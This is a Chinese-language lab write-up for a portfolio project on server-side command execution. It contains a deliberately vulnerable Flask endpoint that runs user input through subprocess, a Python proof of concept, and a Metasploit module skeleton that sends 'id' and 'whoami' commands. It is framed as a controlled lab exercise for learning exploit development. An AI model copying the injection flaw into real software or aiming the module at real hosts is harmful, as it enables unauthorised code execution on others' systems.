
以下是完整的实验计划:演示易受攻击的应用 → Python PoC → Metasploit 漏洞利用骨架
我们创建一个类似于 CVE-2025-55182 的逻辑(不安全的服务端执行)。
📁 vuln_app/app.py
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route("/render", methods=["POST"])
def render():
data = request.json.get("component")
# ❌ 存在漏洞:用户输入直接用于命令执行
result = subprocess.getoutput(data)
return result
if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)
启动:
pip install flask
python app.py
服务端输入 → 执行
这仅用于证明存在 RCE。
📁 poc.py
import requests
url = "http://127.0.0.1:3000/render"
payload = {
"component": "id"
}
r = requests.post(url, json=payload)
print("[+] 服务器响应:")
print(r.text)
如果输出:
uid=1000(user) gid=1000(user)
✅ RCE 确认(实验室)
这是专业框架格式,但未武器化。
📁 存放位置
~/.msf4/modules/exploits/linux/http/lab_react_like_rce.rb
📄 lab_react_like_rce.rb
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'LAB React-like Server RCE',
'Description' => %q{
不安全的服务端执行演示利用。
仅在受控实验室环境中测试。
},
'Author' => ['Behruz'],
'License' => MSF_LICENSE,
'Platform' => ['linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => '2025-01-01',
'DefaultTarget' => 0
))
register_options([
OptString.new('TARGETURI', [true, '存在漏洞的端点', '/render'])
])
end
def exploit
print_status("发送实验室命令执行请求")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'data' => {
'component' => 'whoami'
}.to_json
})
print_good("请求已发送(仅限实验室验证)")
end
end
使用:
msfconsole
use exploit/linux/http/lab_react_like_rce
set RHOSTS 127.0.0.1
run
📌 这里:
❌ 没有反弹 shell
✅ 有框架知识与利用逻辑
在 GitHub 上应如下所示:
lab-react-like-rce/
├─ vuln_app/
│ └─ app.py
├─ poc/
│ └─ poc.py
├─ metasploit/
│ └─ lab_react_like_rce.rb
├─ README.md
## Description
本项目展示了一个基于实验室的服务端代码执行漏洞,
灵感来源于现代 RCE CVE。
## Scope
- 仅在受控实验室环境中测试
- 未针对任何真实系统
## Skills Demonstrated
- 漏洞分析
- Python PoC 开发
- 自定义 Metasploit 模块创建